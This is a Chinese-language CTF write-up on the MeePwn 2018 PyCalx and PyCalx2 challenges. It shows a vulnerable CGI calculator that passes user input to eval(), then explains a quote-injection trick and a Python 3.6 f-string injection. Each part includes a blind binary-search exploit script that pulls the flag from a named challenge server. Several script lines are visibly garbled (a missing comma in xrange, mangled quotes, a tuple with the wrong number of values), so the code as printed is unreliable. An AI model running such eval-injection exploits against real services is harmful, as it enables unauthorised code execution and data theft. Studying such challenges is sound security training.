Meepwn2018:PyCalx&PyCalx2与Python3 f-string eval注入

  • A+
所属分类:网络安全文章

本题是由Python的 eval() 函数参数可控且直接拼接引发的注入,采用二分法盲注。

server.py源码如下:

  1. #!/usr/bin/env python
  2. import cgi
  3. import sys
  4. from html import escape
  5. FLAG = open('/var/www/flag', 'r').read()
  6. OK_200 = "some HTML code"
  7. print(OK_200)
  8. arguments = cgi.FieldStorage()
  9. if 'source' in arguments:
  10.     source = arguments['source'].value
  11. else:
  12.     source = 0
  13. if source == '1':
  14.     print('<pre>' + escape(str(open(__file__, 'r').read())) + '</pre>')
  15. if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
  16.     def get_value(val):
  17.         val = str(val)[:64]
  18.         if str(val).isdigit(): return int(val)
  19.         blacklist = ['(', ')', '[', ']', '\'',
  20.                      '"']  # I don't like tuple, list and dict.
  21.         if val == '' or [c for c in blacklist if c in val] != []:
  22.             print('<center>Invalid value</center>')
  23.             sys.exit(0)
  24.         return val
  25.     def get_op(val):
  26.         val = str(val)[:2]
  27.         list_ops = ['+', '-', '/', '*', '=', '!']
  28.         if val == '' or val[0] not in list_ops:
  29.             print('<center>Invalid op</center>')
  30.             sys.exit(0)
  31.         return val
  32.     op = get_op(arguments['op'].value)
  33.     value1 = get_value(arguments['value1'].value)
  34.     value2 = get_value(arguments['value2'].value)
  35.     if str(value1).isdigit() ^ str(value2).isdigit():
  36.         print('<center>Types of the values don\'t match</center>')
  37.         sys.exit(0)
  38.     calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
  39.     print(
  40.         '<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>'
  41.     )
  42.     print('>>>> print(' + escape(calc_eval) + ')')
  43.     try:
  44.         result = str(eval(calc_eval))
  45.         if result.isdigit() or result == 'True' or result == 'False':
  46.             print(result)
  47.         else:
  48.             print(
  49.                 "Invalid"
  50.             )  # Sorry we don't support output as a string due to security issue.
  51.     except:
  52.         print("Invalid")
  53.     print('>>> </pre></div></div></div>')

源码解释:

cgi会处理source,value1,value2,op四个参数。
如果source=1则打印源代码。
value1,value2,op三个参数都有值时进一步处理。
value1,value2至少1个字符,至多64个,且不包含黑名单()[]'" 里的字符。
op至少1个字符,至多2个,且首字符必须在白名单+-*/=! 里。
value1,value2要么都是只包含[0-9],要么都包含其他字符。
执行str(eval(str(repr(value1)) + str(op) + str(repr(value2)))) ,且只有结果是bool值或只包含[0-9] 时才会输出。
注:repr返回对象的可打印形式,和反引号包裹效果一致,对大多数类型,他会返有一个字符串,使其可以作为代码直接传入eval执行。

解题思路:

op 允许两个字符,且第二个字符是任意的,那么如果是一个单引号,就能混淆代码和数据,起到类似SQL注入的效果。

  1. >>> print(str(repr("a"))+str("+")+str(repr("b")))
  2. 'a'+'b'
  3. >>> print(str(repr("a"))+str("+'")+str(repr("< b#")))
  4. 'a'+''< b#'

解题脚本:

  1. import requests, re
  2. def calc(v1, v2, op, s):
  3.     u = "http://178.128.96.203/cgi-bin/server.py?"
  4.     payload = dict(value1=v1, value2=v2, op=op, source=s)
  5.     # print payload
  6.     r = requests.get(u, params=payload)
  7.     # print r.url
  8.     res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
  9.                      r.content)[0].split('\n')[1]
  10.     assert (res != 'Invalid')
  11.     return res == 'True'
  12.     # print r.content
  13. def check(mid):
  14.     s = flag + chr(mid)
  15.     return calc(v1, v2, op, s)
  16. def bin_search(seq=xrange(0x200x80), lo=0, hi=None):
  17.     assert (lo >= 0)
  18.     if hi == None: hi = len(seq)
  19.     while lo < hi:
  20.         mid = (lo + hi) // 2
  21.         # print lo, mid, hi, "\t",
  22.         if check(seq[mid]): hi = mid
  23.         else: lo = mid + 1
  24.     return seq[lo]
  25. flag = ''
  26. v1, v2, op, s = 'x', "+FLAG<value1+source#""+'"''
  27. while (1):
  28.     flag += chr(bin_search() - 1)
  29.     print flag
  30. # MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])}

Meepwn2018:PyCalx&PyCalx2与Python3 f-string eval注入

PyCalx2:

server.py 只改动了一行代码,将op = get_op(arguments['op'].value) 变成了 op = get_op(get_value(arguments['op'].value)) ,也就是说将op 参数也进行了黑名单过滤,于是 op 的第二个字符就不能是单引号,第一题的方法也就失效了。

结合题目提示和第一题的flag去寻找Python3.6的新特性,用到了这个 f-string ,详见PEP 498 -- Literal String Interpolation 。简言之就是可以在字符串中方便地直接插入表达式,以f 开头,表达式插在大括号{} 里,在运行时表达式会被计算并替换成对应的值。

本题主要是利用这个特性在字符串里插入比较的表达式,剩下的就和上题一样了。插法不尽相同:

  1. >>> str(repr('T'))+str('+f')+str(repr('ru{FLAG<source or 14:x}')) # 14的十六进制表示时'e'
  2. "'T'+f'ru{FLAG<source or 14:x}'"
  3. >>> eval(str(repr('T'))+str('+f')+str(repr('ru{1 or 14:x}')))
  4. 'Tru1' # 返回Invalid
  5. >>> eval(str(repr('T'))+str('+f')+str(repr('ru{0 or 14:x}')))
  6. 'True'
  1. >>> str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{FLAG<source:1}.1}'))
  2. "'Tru'+f'{sys.exit.__name__:{FLAG<source:1}.1}'"
  3. # {FLAG<source:1}的值相当于printf("%1f",FLAG<source)的结果,有01两种可能。
  4. #这边sys.exit.__name__等价于字符串'exit',考虑到已经import escape,直接用escape.__name__也可。
  5. >>> eval(str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{1:1}.1}')))
  6. 'True'
  7. >>> eval(str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{0:1}.1}')))
  8. #报错,返回Invalid
  9. Traceback (most recent call last):
  10.   File "<stdin>", line 1, in <module>
  11.   File "<string>", line 1, in <module>
  12. ValueError: '=' alignment not allowed in string format specifier
  13. >>>

解题脚本:

  1. import requests, re
  2. def calc(v1, v2, op, s):
  3.     u = "http://www.cesafe.com/cgi-bin/server.py?"
  4.     payload = dict(value1=v1, value2=v2, op=op, source=s)
  5.     r = requests.get(u, params=payload)
  6.     res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
  7.                      r.content)[0].split('\n')[1]
  8.     return res == 'Invalid'
  9. def check(mid):
  10.     s = flag + chr(mid)
  11.     return calc(v1, v2, op, s)
  12. def bin_search(seq=xrange(0x200x80), lo=0, hi=None):
  13.     assert (lo >= 0)
  14.     if hi == None: hi = len(seq)
  15.     while lo < hi:
  16.         mid = (lo + hi) // 2
  17.         if check(seq[mid]): hi = mid
  18.         else: lo = mid + 1
  19.     return seq[lo]
  20. flag = ''
  21. v1, op, v2, s = 'T', "+f""ru{FLAG<source or 14:x}", 'a'
  22. while (1):
  23.     flag += chr(bin_search() - 1)
  24.     print flag
  25. # MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}
  • 服务器购买微信群
  • 阿里云&腾讯云&国外VPS
  • weinxin
  • 服务器购买QQ群
  • 阿里云&腾讯云&国外VPS
  • weinxin
CE安全网

发表评论

您必须登录才能发表评论!